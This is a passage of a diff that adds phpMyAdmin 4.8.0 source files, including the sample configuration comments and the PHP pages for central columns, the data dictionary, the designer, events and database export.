+ *   'noblob' disallow editing except for BLOB fields 


 
+ *   'all'    disallow editing 


 
+ * default = 'blob' 


 
+ */ 


 
+//$cfg['ProtectBinary'] = false; 


 
+ 


 
+/** 


 
+ * Default language to use, if not browser-defined or user-defined 


 
+ * (you find all languages in the locale folder) 


 
+ * uncomment the desired line: 


 
+ * default = 'en' 


 
+ */ 


 
+//$cfg['DefaultLang'] = 'en'; 


 
+//$cfg['DefaultLang'] = 'de'; 


 
+ 


 
+/** 


 
+ * How many columns should be used for table display of a database? 


 
+ * (a value larger than 1 results in some information being hidden) 


 
+ * default = 1 


 
+ */ 


 
+//$cfg['PropertiesNumColumns'] = 2; 


 
+ 


 
+/** 


 
+ * Set to true if you want DB-based query history.If false, this utilizes 


 
+ * JS-routines to display query history (lost by window close) 


 
+ * 


 
+ * This requires configuration storage enabled, see above. 


 
+ * default = false 


 
+ */ 


 
+//$cfg['QueryHistoryDB'] = true; 


 
+ 


 
+/** 


 
+ * When using DB-based query history, how many entries should be kept? 


 
+ * default = 25 


 
+ */ 


 
+//$cfg['QueryHistoryMax'] = 100; 


 
+ 


 
+/** 


 
+ * Whether or not to query the user before sending the error report to 


 
+ * the phpMyAdmin team when a JavaScript error occurs 


 
+ * 


 
+ * Available options 


 
+ * ('ask' | 'always' | 'never') 


 
+ * default = 'ask' 


 
+ */ 


 
+//$cfg['SendErrorReports'] = 'always'; 


 
+ 


 
+/** 


 
+ * You can find more configuration options in the documentation 


 
+ * in the doc/ folder or at <https://docs.phpmyadmin.net/>. 


 
+ */ 
 
181 phpMyAdmin-4.8.0-all-languages/db_central_columns.php 


@@ -0,0 +1,181 @@


 
+<?php 


 
+ 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * Central Columns view/edit 


 
+ * 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+ 


 
+use PhpMyAdmin\CentralColumns; 


 
+use PhpMyAdmin\Core; 


 
+use PhpMyAdmin\Message; 


 
+use PhpMyAdmin\Response; 


 
+use PhpMyAdmin\Url; 


 
+ 


 
+/** 


 
+ * Gets some core libraries 


 
+ */ 


 
+require_once 'libraries/common.inc.php'; 


 
+ 


 
+$centralColumns = new CentralColumns($GLOBALS['dbi']); 


 
+ 


 
+if (isset($_POST['edit_save']) || isset($_POST['add_new_column'])) { 


 
+    $col_name = $_POST['col_name']; 


 
+    if (isset($_POST['edit_save'])) { 


 
+        $orig_col_name = $_POST['orig_col_name']; 


 
+    } 


 
+    $col_default = $_POST['col_default']; 


 
+    if ($col_default == 'NONE' && $_POST['col_default_sel'] != 'USER_DEFINED') { 


 
+        $col_default = ""; 


 
+    } 


 
+    $col_extra = isset($_POST['col_extra']) ? $_POST['col_extra'] : ''; 


 
+    $col_isNull = isset($_POST['col_isNull'])?1:0; 


 
+    $col_length = $_POST['col_length']; 


 
+    $col_attribute = $_POST['col_attribute']; 


 
+    $col_type = $_POST['col_type']; 


 
+    $collation = $_POST['collation']; 


 
+    if (isset($orig_col_name) && $orig_col_name) { 


 
+        echo $centralColumns->updateOneColumn( 


 
+            $db, $orig_col_name, $col_name, $col_type, $col_attribute, 


 
+            $col_length, $col_isNull, $collation, $col_extra, $col_default 


 
+        ); 


 
+        exit; 


 
+    } else { 


 
+        $tmp_msg = $centralColumns->updateOneColumn( 


 
+            $db, "", $col_name, $col_type, $col_attribute, 


 
+            $col_length, $col_isNull, $collation, $col_extra, $col_default 


 
+        ); 


 
+    } 


 
+} 


 
+if (isset($_POST['populateColumns'])) { 


 
+    $selected_tbl = $_POST['selectedTable']; 


 
+    echo $centralColumns->getHtmlForColumnDropdown( 


 
+        $db, 


 
+        $selected_tbl 


 
+    ); 


 
+    exit; 


 
+} 


 
+if (isset($_POST['getColumnList'])) { 


 
+    echo $centralColumns->getListRaw( 


 
+        $db, 


 
+        $_POST['cur_table'] 


 
+    ); 


 
+    exit; 


 
+} 


 
+if (isset($_POST['add_column'])) { 


 
+    $selected_col = array(); 


 
+    $selected_tbl = $_POST['table-select']; 


 
+    $selected_col[] = $_POST['column-select']; 


 
+    $tmp_msg = $centralColumns->syncUniqueColumns( 


 
+        $selected_col, 


 
+        false, 


 
+        $selected_tbl 


 
+    ); 


 
+} 


 
+$response = Response::getInstance(); 


 
+$header = $response->getHeader(); 


 
+$scripts = $header->getScripts(); 


 
+$scripts->addFile('vendor/jquery/jquery.uitablefilter.js'); 


 
+$scripts->addFile('vendor/jquery/jquery.tablesorter.js'); 


 
+$scripts->addFile('db_central_columns.js'); 


 
+$cfgCentralColumns = $centralColumns->getParams(); 


 
+$pmadb = $cfgCentralColumns['db']; 


 
+$pmatable = $cfgCentralColumns['table']; 


 
+$max_rows = intval($GLOBALS['cfg']['MaxRows']); 


 
+ 


 
+if (isset($_REQUEST['edit_central_columns_page'])) { 


 
+    $selected_fld = $_REQUEST['selected_fld']; 


 
+    $selected_db = $_REQUEST['db']; 


 
+    $edit_central_column_page = $centralColumns->getHtmlForEditingPage( 


 
+        $selected_fld, 


 
+        $selected_db 


 
+    ); 


 
+    $response->addHTML($edit_central_column_page); 


 
+    exit; 


 
+} 


 
+if (isset($_POST['multi_edit_central_column_save'])) { 


 
+    $message = $centralColumns->updateMultipleColumn(); 


 
+    if (!is_bool($message)) { 


 
+        $response->setRequestStatus(false); 


 
+        $response->addJSON('message', $message); 


 
+    } 


 
+} 


 
+if (isset($_POST['delete_save'])) { 


 
+    $col_name = array(); 


 
+    parse_str($_POST['col_name'], $col_name); 


 
+    $tmp_msg = $centralColumns->deleteColumnsFromList( 


 
+        $col_name['selected_fld'], 


 
+        false 


 
+    ); 


 
+} 


 
+if (!empty($_REQUEST['total_rows']) 


 
+    && Core::isValid($_REQUEST['total_rows'], 'integer') 


 
+) { 


 
+    $total_rows = $_REQUEST['total_rows']; 


 
+} else { 


 
+    $total_rows = $centralColumns->getCount($db); 


 
+} 


 
+if (Core::isValid($_REQUEST['pos'], 'integer')) { 


 
+    $pos = intval($_REQUEST['pos']); 


 
+} else { 


 
+    $pos = 0; 


 
+} 


 
+$addNewColumn = $centralColumns->getHtmlForAddNewColumn($db, $total_rows); 


 
+$response->addHTML($addNewColumn); 


 
+if ($total_rows <= 0) { 


 
+    $response->addHTML( 


 
+        '<fieldset>' . __( 


 
+            'The central list of columns for the current database is empty.' 


 
+        ) . '</fieldset>' 


 
+    ); 


 
+    $columnAdd = $centralColumns->getHtmlForAddColumn($total_rows, $pos, $db); 


 
+    $response->addHTML($columnAdd); 


 
+    exit; 


 
+} 


 
+$table_navigation_html = $centralColumns->getHtmlForTableNavigation( 


 
+    $total_rows, 


 
+    $pos, 


 
+    $db 


 
+); 


 
+$response->addHTML($table_navigation_html); 


 
+$columnAdd = $centralColumns->getHtmlForAddColumn($total_rows, $pos, $db); 


 
+$response->addHTML($columnAdd); 


 
+$deleteRowForm = '<form method="post" id="del_form" action="db_central_columns.php">' 


 
+        . Url::getHiddenInputs( 


 
+            $db 


 
+        ) 


 
+        . '<input id="del_col_name" type="hidden" name="col_name" value="">' 


 
+        . '<input type="hidden" name="pos" value="' . $pos . '">' 


 
+        . '<input type="hidden" name="delete_save" value="delete"></form>'; 


 
+$response->addHTML($deleteRowForm); 


 
+$table_struct = '<div id="tableslistcontainer">' 


 
+        . '<form name="tableslistcontainer">' 


 
+        . '<table id="table_columns" class="tablesorter" ' 


 
+        . 'class="data">'; 


 
+$response->addHTML($table_struct); 


 
+$tableheader = $centralColumns->getTableHeader( 


 
+    'column_heading', __('Click to sort.'), 2 


 
+); 


 
+$response->addHTML($tableheader); 


 
+$result = $centralColumns->getColumnsList($db, $pos, $max_rows); 


 
+$row_num = 0; 


 
+foreach ($result as $row) { 


 
+    $tableHtmlRow = $centralColumns->getHtmlForTableRow( 


 
+        $row, 


 
+        $row_num, 


 
+        $db 


 
+    ); 


 
+    $response->addHTML($tableHtmlRow); 


 
+    $row_num++; 


 
+} 


 
+$response->addHTML('</table>'); 


 
+$tablefooter = $centralColumns->getTableFooter($pmaThemeImage, $text_dir); 


 
+$response->addHTML($tablefooter); 


 
+$response->addHTML('</form></div>'); 


 
+$message = Message::success( 


 
+    sprintf(__('Showing rows %1$s - %2$s.'), ($pos + 1), ($pos + count($result))) 


 
+); 


 
+if (isset($tmp_msg) && $tmp_msg !== true) { 


 
+    $message = $tmp_msg; 


 
+} 
 
215 phpMyAdmin-4.8.0-all-languages/db_datadict.php 


@@ -0,0 +1,215 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * Renders data dictionary 


 
+ * 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+use PhpMyAdmin\Relation; 


 
+use PhpMyAdmin\Response; 


 
+use PhpMyAdmin\Transformations; 


 
+use PhpMyAdmin\Url; 


 
+ 


 
+/** 


 
+ * Gets the variables sent or posted to this script, then displays headers 


 
+ */ 


 
+require_once 'libraries/common.inc.php'; 


 
+ 


 
+if (! isset($selected_tbl)) { 


 
+    include 'libraries/db_common.inc.php'; 


 
+    list( 


 
+        $tables, 


 
+        $num_tables, 


 
+        $total_num_tables, 


 
+        $sub_part, 


 
+        $is_show_stats, 


 
+        $db_is_system_schema, 


 
+        $tooltip_truename, 


 
+        $tooltip_aliasname, 


 
+        $pos 


 
+    ) = PhpMyAdmin\Util::getDbInfo($db, isset($sub_part) ? $sub_part : ''); 


 
+} 


 
+ 


 
+$response = Response::getInstance(); 


 
+$header   = $response->getHeader(); 


 
+$header->enablePrintView(); 


 
+ 


 
+$relation = new Relation(); 


 
+ 


 
+/** 


 
+ * Gets the relations settings 


 
+ */ 


 
+$cfgRelation  = $relation->getRelationsParam(); 


 
+ 


 
+/** 


 
+ * Check parameters 


 
+ */ 


 
+PhpMyAdmin\Util::checkParameters(array('db')); 


 
+ 


 
+/** 


 
+ * Defines the url to return to in case of error in a sql statement 


 
+ */ 


 
+$err_url = 'db_sql.php' . Url::getCommon(array('db' => $db)); 


 
+ 


 
+if ($cfgRelation['commwork']) { 


 
+    $comment = $relation->getDbComment($db); 


 
+ 


 
+    /** 


 
+     * Displays DB comment 


 
+     */ 


 
+    if ($comment) { 


 
+        echo '<p>' , __('Database comment') 


 
+            , '<br /><i>' , htmlspecialchars($comment) , '</i></p>'; 


 
+    } // end if 


 
+} 


 
+ 


 
+/** 


 
+ * Selects the database and gets tables names 


 
+ */ 


 
+$GLOBALS['dbi']->selectDb($db); 


 
+$tables = $GLOBALS['dbi']->getTables($db); 


 
+ 


 
+$count  = 0; 


 
+foreach ($tables as $table) { 


 
+    $comments = $relation->getComments($db, $table); 


 
+ 


 
+    echo '<div>' , "\n"; 


 
+ 


 
+    echo '<h2>' , htmlspecialchars($table) , '</h2>' , "\n"; 


 
+ 


 
+    /** 


 
+     * Gets table information 


 
+     */ 


 
+    $show_comment = $GLOBALS['dbi']->getTable($db, $table) 


 
+        ->getStatusInfo('TABLE_COMMENT'); 


 
+ 


 
+    /** 


 
+     * Gets table keys and retains them 


 
+     */ 


 
+    $GLOBALS['dbi']->selectDb($db); 


 
+    $indexes = $GLOBALS['dbi']->getTableIndexes($db, $table); 


 
+    list($primary, $pk_array, $indexes_info, $indexes_data) 


 
+        = PhpMyAdmin\Util::processIndexData($indexes); 


 
+ 


 
+    /** 


 
+     * Gets columns properties 


 
+     */ 


 
+    $columns = $GLOBALS['dbi']->getColumns($db, $table); 


 
+ 


 
+    // Check if we can use Relations 


 
+    list($res_rel, $have_rel) = $relation->getRelationsAndStatus( 


 
+        ! empty($cfgRelation['relation']), $db, $table 


 
+    ); 


 
+ 


 
+    /** 


 
+     * Displays the comments of the table if MySQL >= 3.23 


 
+     */ 


 
+    if (!empty($show_comment)) { 


 
+        echo __('Table comments:') , ' '; 


 
+        echo htmlspecialchars($show_comment) , '<br /><br />'; 


 
+    } 


 
+ 


 
+    /** 


 
+     * Displays the table structure 


 
+     */ 


 
+ 


 
+    echo '<table width="100%" class="print">'; 


 
+    echo '<tr><th width="50">' , __('Column') , '</th>'; 


 
+    echo '<th width="80">' , __('Type') , '</th>'; 


 
+    echo '<th width="40">' , __('Null') , '</th>'; 


 
+    echo '<th width="70">' , __('Default') , '</th>'; 


 
+    if ($have_rel) { 


 
+        echo '    <th>' , __('Links to') , '</th>' , "\n"; 


 
+    } 


 
+    echo '    <th>' , __('Comments') , '</th>' , "\n"; 


 
+    if ($cfgRelation['mimework']) { 


 
+        echo '    <th>MIME</th>' , "\n"; 


 
+    } 


 
+    echo '</tr>'; 


 
+    foreach ($columns as $row) { 


 
+ 


 
+        if ($row['Null'] == '') { 


 
+            $row['Null'] = 'NO'; 


 
+        } 


 
+        $extracted_columnspec 


 
+            = PhpMyAdmin\Util::extractColumnSpec($row['Type']); 


 
+ 


 
+        // reformat mysql query output 


 
+        // set or enum types: slashes single quotes inside options 


 
+ 


 
+        $type = htmlspecialchars($extracted_columnspec['print_type']); 


 
+        $attribute     = $extracted_columnspec['attribute']; 


 
+        if (! isset($row['Default'])) { 


 
+            if ($row['Null'] != 'NO') { 


 
+                $row['Default'] = '<i>NULL</i>'; 


 
+            } 


 
+        } else { 


 
+            $row['Default'] = htmlspecialchars($row['Default']); 


 
+        } 


 
+        $column_name = $row['Field']; 


 
+ 


 
+        echo '<tr>'; 


 
+        echo '<td class="nowrap">'; 


 
+        echo htmlspecialchars($column_name); 


 
+ 


 
+        if (isset($pk_array[$row['Field']])) { 


 
+            echo ' <em>(' , __('Primary') , ')</em>'; 


 
+        } 


 
+        echo '</td>'; 


 
+        echo '<td' 


 
+            , PhpMyAdmin\Util::getClassForType( 


 
+                $extracted_columnspec['type'] 


 
+            ) 


 
+            , ' lang="en" dir="ltr">' , $type , '</td>'; 


 
+ 


 
+        echo '<td>'; 


 
+        echo (($row['Null'] == 'NO') ? __('No') : __('Yes')); 


 
+        echo '</td>'; 


 
+        echo '<td class="nowrap">'; 


 
+        if (isset($row['Default'])) { 


 
+            echo $row['Default']; 


 
+        } 


 
+        echo '</td>'; 


 
+ 


 
+        if ($have_rel) { 


 
+            echo '    <td>'; 


 
+            if ($foreigner = $relation->searchColumnInForeigners($res_rel, $column_name)) { 


 
+                echo htmlspecialchars( 


 
+                    $foreigner['foreign_table'] 


 
+                    . ' -> ' 


 
+                    . $foreigner['foreign_field'] 


 
+                ); 


 
+            } 


 
+            echo '</td>' , "\n"; 


 
+        } 


 
+        echo '    <td>'; 


 
+        if (isset($comments[$column_name])) { 


 
+            echo htmlspecialchars($comments[$column_name]); 


 
+        } 


 
+        echo '</td>' , "\n"; 


 
+        if ($cfgRelation['mimework']) { 


 
+            $mime_map = Transformations::getMIME($db, $table, true); 


 
+ 


 
+            echo '    <td>'; 


 
+            if (isset($mime_map[$column_name])) { 


 
+                echo htmlspecialchars( 


 
+                    str_replace('_', '/', $mime_map[$column_name]['mimetype']) 


 
+                ); 


 
+            } 


 
+            echo '</td>' , "\n"; 


 
+        } 


 
+        echo '</tr>'; 


 
+    } // end foreach 


 
+    $count++; 


 
+    echo '</table>'; 


 
+    // display indexes information 


 
+    if (count(PhpMyAdmin\Index::getFromTable($table, $db)) > 0) { 


 
+        echo PhpMyAdmin\Index::getHtmlForIndexes($table, $db, true); 


 
+    } 


 
+    echo '</div>'; 


 
+} //ends main while 


 
+ 


 
+/** 


 
+ * Displays the footer 


 
+ */ 


 
+echo PhpMyAdmin\Util::getButton(); 
 
215 phpMyAdmin-4.8.0-all-languages/db_designer.php 


@@ -0,0 +1,215 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * phpMyAdmin designer general code 


 
+ * 


 
+ * @package PhpMyAdmin-Designer 


 
+ */ 


 
+use PhpMyAdmin\Database\Designer; 


 
+use PhpMyAdmin\Database\Designer\Common; 


 
+use PhpMyAdmin\Response; 


 
+ 


 
+require_once 'libraries/common.inc.php'; 


 
+ 


 
+$response = Response::getInstance(); 


 
+ 


 
+$databaseDesigner = new Designer(); 


 
+$designerCommon = new Common(); 


 
+ 


 
+if (isset($_REQUEST['dialog'])) { 


 
+ 


 
+    if ($_REQUEST['dialog'] == 'edit') { 


 
+        $html = $databaseDesigner->getHtmlForEditOrDeletePages($GLOBALS['db'], 'editPage'); 


 
+    } elseif ($_REQUEST['dialog'] == 'delete') { 


 
+        $html = $databaseDesigner->getHtmlForEditOrDeletePages($GLOBALS['db'], 'deletePage'); 


 
+    } elseif ($_REQUEST['dialog'] == 'save_as') { 


 
+        $html = $databaseDesigner->getHtmlForPageSaveAs($GLOBALS['db']); 


 
+    } elseif ($_REQUEST['dialog'] == 'export') { 


 
+        $html = $databaseDesigner->getHtmlForSchemaExport( 


 
+            $GLOBALS['db'], $_REQUEST['selected_page'] 


 
+        ); 


 
+    } elseif ($_REQUEST['dialog'] == 'add_table') { 


 
+        $script_display_field = $designerCommon->getTablesInfo(); 


 
+        $required = $GLOBALS['db'] . '.' . $GLOBALS['table']; 


 
+        $tab_column = $designerCommon->getColumnsInfo(); 


 
+        $tables_all_keys = $designerCommon->getAllKeys(); 


 
+        $tables_pk_or_unique_keys = $designerCommon->getPkOrUniqueKeys(); 


 
+ 


 
+        $req_key = array_search($required, $GLOBALS['designer']['TABLE_NAME']); 


 
+ 


 
+        $GLOBALS['designer']['TABLE_NAME'] = array($GLOBALS['designer']['TABLE_NAME'][$req_key]); 


 
+        $GLOBALS['designer_url']['TABLE_NAME_SMALL'] = array($GLOBALS['designer_url']['TABLE_NAME_SMALL'][$req_key]); 


 
+        $GLOBALS['designer']['TABLE_NAME_SMALL'] = array($GLOBALS['designer']['TABLE_NAME_SMALL'][$req_key]); 


 
+        $GLOBALS['designer_out']['TABLE_NAME_SMALL'] = array($GLOBALS['designer_out']['TABLE_NAME_SMALL'][$req_key]); 


 
+        $GLOBALS['designer']['TABLE_TYPE'] = array($GLOBALS['designer_url']['TABLE_TYPE'][$req_key]); 


 
+        $GLOBALS['designer_out']['OWNER'] = array($GLOBALS['designer_out']['OWNER'][$req_key]); 


 
+ 


 
+        $html = $databaseDesigner->getDatabaseTables( 


 
+            array(), -1, $tab_column, 


 
+            $tables_all_keys, $tables_pk_or_unique_keys 


 
+        ); 


 
+    } 


 
+ 


 
+    if (! empty($html)) { 


 
+        $response->addHTML($html); 


 
+    } 


 
+    return; 


 
+} 


 
+ 


 
+if (isset($_REQUEST['operation'])) { 


 
+ 


 
+    if ($_REQUEST['operation'] == 'deletePage') { 


 
+        $success = $designerCommon->deletePage($_REQUEST['selected_page']); 


 
+        $response->setRequestStatus($success); 


 
+    } elseif ($_REQUEST['operation'] == 'savePage') { 


 
+        if ($_REQUEST['save_page'] == 'same') { 


 
+            $page = $_REQUEST['selected_page']; 


 
+        } else { // new 


 
+            $page = $designerCommon->createNewPage($_REQUEST['selected_value'], $GLOBALS['db']); 


 
+            $response->addJSON('id', $page); 


 
+        } 


 
+        $success = $designerCommon->saveTablePositions($page); 


 
+        $response->setRequestStatus($success); 


 
+    } elseif ($_REQUEST['operation'] == 'setDisplayField') { 


 
+        $designerCommon->saveDisplayField( 


 
+            $_REQUEST['db'], $_REQUEST['table'], $_REQUEST['field'] 


 
+        ); 


 
+        $response->setRequestStatus(true); 


 
+    } elseif ($_REQUEST['operation'] == 'addNewRelation') { 


 
+        list($success, $message) = $designerCommon->addNewRelation( 


 
+            $_REQUEST['db'], 


 
+            $_REQUEST['T1'], 


 
+            $_REQUEST['F1'], 


 
+            $_REQUEST['T2'], 


 
+            $_REQUEST['F2'], 


 
+            $_REQUEST['on_delete'], 


 
+            $_REQUEST['on_update'], 


 
+            $_REQUEST['DB1'], 


 
+            $_REQUEST['DB2'] 


 
+        ); 


 
+        $response->setRequestStatus($success); 


 
+        $response->addJSON('message', $message); 


 
+    } elseif ($_REQUEST['operation'] == 'removeRelation') { 


 
+        list($success, $message) = $designerCommon->removeRelation( 


 
+            $_REQUEST['T1'], 


 
+            $_REQUEST['F1'], 


 
+            $_REQUEST['T2'], 


 
+            $_REQUEST['F2'] 


 
+        ); 


 
+        $response->setRequestStatus($success); 


 
+        $response->addJSON('message', $message); 


 
+    } elseif ($_REQUEST['operation'] == 'save_setting_value') { 


 
+        $success = $designerCommon->saveSetting($_REQUEST['index'], $_REQUEST['value']); 


 
+        $response->setRequestStatus($success); 


 
+    } 


 
+ 


 
+    return; 


 
+} 


 
+ 


 
+require 'libraries/db_common.inc.php'; 


 
+ 


 
+$script_display_field = $designerCommon->getTablesInfo(); 


 
+$tab_column = $designerCommon->getColumnsInfo(); 


 
+$script_tables = $designerCommon->getScriptTabs(); 


 
+$tables_pk_or_unique_keys = $designerCommon->getPkOrUniqueKeys(); 


 
+$tables_all_keys = $designerCommon->getAllKeys(); 


 
+$classes_side_menu = $databaseDesigner->returnClassNamesFromMenuButtons(); 


 
+ 


 
+$display_page = -1; 


 
+$selected_page = null; 


 
+ 


 
+if (isset($_REQUEST['query'])) { 


 
+    $display_page = $designerCommon->getDefaultPage($_REQUEST['db']); 


 
+} else { 


 
+    if (! empty($_REQUEST['page'])) { 


 
+        $display_page = $_REQUEST['page']; 


 
+    } else { 


 
+        $display_page = $designerCommon->getLoadingPage($_REQUEST['db']); 


 
+    } 


 
+} 


 
+if ($display_page != -1) { 


 
+    $selected_page = $designerCommon->getPageName($display_page); 


 
+} 


 
+$tab_pos = $designerCommon->getTablePositions($display_page); 


 
+$script_contr = $designerCommon->getScriptContr(); 


 
+ 


 
+$params = array('lang' => $GLOBALS['lang']); 


 
+if (isset($_GET['db'])) { 


 
+    $params['db'] = $_GET['db']; 


 
+} 


 
+ 


 
+$response = Response::getInstance(); 


 
+$response->getFooter()->setMinimal(); 


 
+$header   = $response->getHeader(); 


 
+$header->setBodyId('designer_body'); 


 
+ 


 
+$scripts  = $header->getScripts(); 


 
+$scripts->addFile('vendor/jquery/jquery.fullscreen.js'); 


 
+$scripts->addFile('designer/database.js'); 


 
+$scripts->addFile('designer/objects.js'); 


 
+$scripts->addFile('designer/page.js'); 


 
+$scripts->addFile('designer/history.js'); 


 
+$scripts->addFile('designer/move.js'); 


 
+$scripts->addFile('designer/init.js'); 


 
+ 


 
+list( 


 
+    $tables, 


 
+    $num_tables, 


 
+    $total_num_tables, 


 
+    $sub_part, 


 
+    $is_show_stats, 


 
+    $db_is_system_schema, 


 
+    $tooltip_truename, 


 
+    $tooltip_aliasname, 


 
+    $pos 


 
+) = PhpMyAdmin\Util::getDbInfo($db, isset($sub_part) ? $sub_part : ''); 


 
+ 


 
+// Embed some data into HTML, later it will be read 


 
+// by designer/init.js and converted to JS variables. 


 
+$response->addHTML( 


 
+    $databaseDesigner->getHtmlForJsFields( 


 
+        $script_tables, $script_contr, $script_display_field, $display_page 


 
+    ) 


 
+); 


 
+$response->addHTML( 


 
+    $databaseDesigner->getPageMenu( 


 
+        isset($_REQUEST['query']), 


 
+        $selected_page, 


 
+        $classes_side_menu 


 
+    ) 


 
+); 


 
+ 


 
+ 


 
+ 


 
+$response->addHTML('<div id="canvas_outer">'); 


 
+$response->addHTML( 


 
+    '<form action="" id="container-form" method="post" name="form1">' 


 
+); 


 
+ 


 
+$response->addHTML($databaseDesigner->getHtmlCanvas()); 


 
+$response->addHTML($databaseDesigner->getHtmlTableList($tab_pos, $display_page)); 


 
+ 


 
+$response->addHTML( 


 
+    $databaseDesigner->getDatabaseTables( 


 
+        $tab_pos, $display_page, $tab_column, 


 
+        $tables_all_keys, $tables_pk_or_unique_keys 


 
+    ) 


 
+); 


 
+$response->addHTML('</form>'); 


 
+$response->addHTML('</div>'); // end canvas_outer 


 
+ 


 
+$response->addHTML('<div id="designer_hint"></div>'); 


 
+ 


 
+$response->addHTML($databaseDesigner->getNewRelationPanel()); 


 
+$response->addHTML($databaseDesigner->getDeleteRelationPanel()); 


 
+ 


 
+if (isset($_REQUEST['query'])) { 


 
+    $response->addHTML($databaseDesigner->getOptionsPanel()); 


 
+    $response->addHTML($databaseDesigner->getRenameToPanel()); 


 
+    $response->addHTML($databaseDesigner->getHavingQueryPanel()); 


 
+    $response->addHTML($databaseDesigner->getAggregateQueryPanel()); 


 
+    $response->addHTML($databaseDesigner->getWhereQueryPanel()); 


 
+    $response->addHTML($databaseDesigner->getQueryDetails($_GET['db'])); 


 
+} 


 
+ 


 
+$response->addHTML('<div id="PMA_disable_floating_menubar"></div>'); 
 
18 phpMyAdmin-4.8.0-all-languages/db_events.php 


@@ -0,0 +1,18 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * Events management. 


 
+ * 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+ 


 
+/** 


 
+ * Include required files 


 
+ */ 


 
+require_once 'libraries/common.inc.php'; 


 
+ 


 
+/** 


 
+ * Do the magic 


 
+ */ 


 
+$_PMA_RTE = 'EVN'; 


 
+require_once 'libraries/rte/rte_main.inc.php'; 
 
159 phpMyAdmin-4.8.0-all-languages/db_export.php 


@@ -0,0 +1,159 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * dumps a database 


 
+ * 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+use PhpMyAdmin\Config\PageSettings; 


 
+use PhpMyAdmin\Display\Export as DisplayExport; 


 
+use PhpMyAdmin\Export; 


 
+use PhpMyAdmin\Message; 


 
+use PhpMyAdmin\Response; 


 
+use PhpMyAdmin\Util; 


 
+ 


 
+/** 


 
+ * Gets some core libraries 


 
+ */ 


 
+require_once 'libraries/common.inc.php'; 


 
+ 


 
+PageSettings::showGroup('Export'); 


 
+ 


 
+$response = Response::getInstance(); 


 
+$header   = $response->getHeader(); 


 
+$scripts  = $header->getScripts(); 


 
+$scripts->addFile('export.js'); 


 
+ 


 
+// $sub_part is used in Util::getDbInfo() to see if we are coming from 


 
+// db_export.php, in which case we don't obey $cfg['MaxTableList'] 


 
+$sub_part  = '_export'; 


 
+require_once 'libraries/db_common.inc.php'; 


 
+$url_query .= '&amp;goto=db_export.php'; 


 
+ 


 
+list( 


 
+    $tables, 


 
+    $num_tables, 


 
+    $total_num_tables, 


 
+    $sub_part, 


 
+    $is_show_stats, 


 
+    $db_is_system_schema, 


 
+    $tooltip_truename, 


 
+    $tooltip_aliasname, 


 
+    $pos 


 
+) = Util::getDbInfo($db, isset($sub_part) ? $sub_part : ''); 


 
+ 


 
+/** 


 
+ * Displays the form 


 
+ */ 


 
+$export_page_title = __('View dump (schema) of database'); 


 
+ 


 
+// exit if no tables in db found 


 
+if ($num_tables < 1) { 


 
+    $response->addHTML( 


 
+        Message::error(__('No tables found in database.'))->getDisplay() 


 
+    ); 


 
+    exit; 


 
+} // end if 


 
+ 


 
+$multi_values  = '<div class="export_table_list_container">'; 


 
+if (isset($_GET['structure_or_data_forced'])) { 


 
+    $force_val = htmlspecialchars($_GET['structure_or_data_forced']); 


 
+} else { 


 
+    $force_val = 0; 


 
+} 


 
+$multi_values .= '<input type="hidden" name="structure_or_data_forced" value="' 


 
+    . $force_val . '">'; 


 
+$multi_values .= '<table class="export_table_select">' 


 
+    . '<thead><tr><th></th>' 


 
+    . '<th>' . __('Tables') . '</th>' 


 
+    . '<th class="export_structure">' . __('Structure') . '</th>' 


 
+    . '<th class="export_data">' . __('Data') . '</th>' 


 
+    . '</tr><tr>' 


 
+    . '<td></td>' 


 
+    . '<td class="export_table_name all">' . __('Select all') . '</td>' 


 
+    . '<td class="export_structure all">' 


 
+    . '<input type="checkbox" id="table_structure_all" /></td>' 


 
+    . '<td class="export_data all"><input type="checkbox" id="table_data_all" />' 


 
+    . '</td>' 


 
+    . '</tr></thead>' 


 
+    . '<tbody>'; 


 
+$multi_values .= "\n"; 


 
+ 


 
+// when called by libraries/mult_submits.inc.php 


 
+if (!empty($_POST['selected_tbl']) && empty($table_select)) { 


 
+    $table_select = $_POST['selected_tbl']; 


 
+} 


 
+ 


 
+// Check if the selected tables are defined in $_GET 


 
+// (from clicking Back button on export.php) 


 
+foreach (array('table_select', 'table_structure', 'table_data') as $one_key) { 


 
+    if (isset($_GET[$one_key])) { 


 
+        $_GET[$one_key] = urldecode($_GET[$one_key]); 


 
+        $_GET[$one_key] = explode(",", $_GET[$one_key]); 


 
+    } 


 
+} 


 
+ 


 
+foreach ($tables as $each_table) { 


 
+    if (isset($_GET['table_select']) && is_array($_GET['table_select'])) { 


 
+        $is_checked = Export::getCheckedClause( 


 
+            $each_table['Name'], $_GET['table_select'] 


 
+        ); 


 
+    } elseif (isset($table_select)) { 


 
+        $is_checked = Export::getCheckedClause( 


 
+            $each_table['Name'], $table_select 


 
+        ); 


 
+    } else { 


 
+        $is_checked = ' checked="checked"'; 


 
+    } 


 
+    if (isset($_GET['table_structure']) && is_array($_GET['table_structure'])) { 


 
+        $structure_checked = Export::getCheckedClause( 


 
+            $each_table['Name'], $_GET['table_structure'] 


 
+        ); 


 
+    } else { 


 
+        $structure_checked = $is_checked; 


 
+    } 


 
+    if (isset($_GET['table_data']) && is_array($_GET['table_data'])) { 


 
+        $data_checked = Export::getCheckedClause( 


 
+            $each_table['Name'], $_GET['table_data'] 


 
+        ); 


 
+    } else { 


 
+        $data_checked = $is_checked; 


 
+    } 


 
+    $table_html   = htmlspecialchars($each_table['Name']); 


 
+    $multi_values .= '<tr class="marked">'; 


 
+    $multi_values .= '<td><input type="checkbox" name="table_select[]"' 


 
+        . ' value="' . $table_html . '"' . $is_checked . ' class="checkall"/></td>'; 


 
+    $multi_values .= '<td class="export_table_name">' 


 
+        . str_replace(' ', '&nbsp;', $table_html) . '</td>'; 


 
+    $multi_values .= '<td class="export_structure">' 


 
+        . '<input type="checkbox" name="table_structure[]"' 


 
+        . ' value="' . $table_html . '"' . $structure_checked . ' /></td>'; 


 
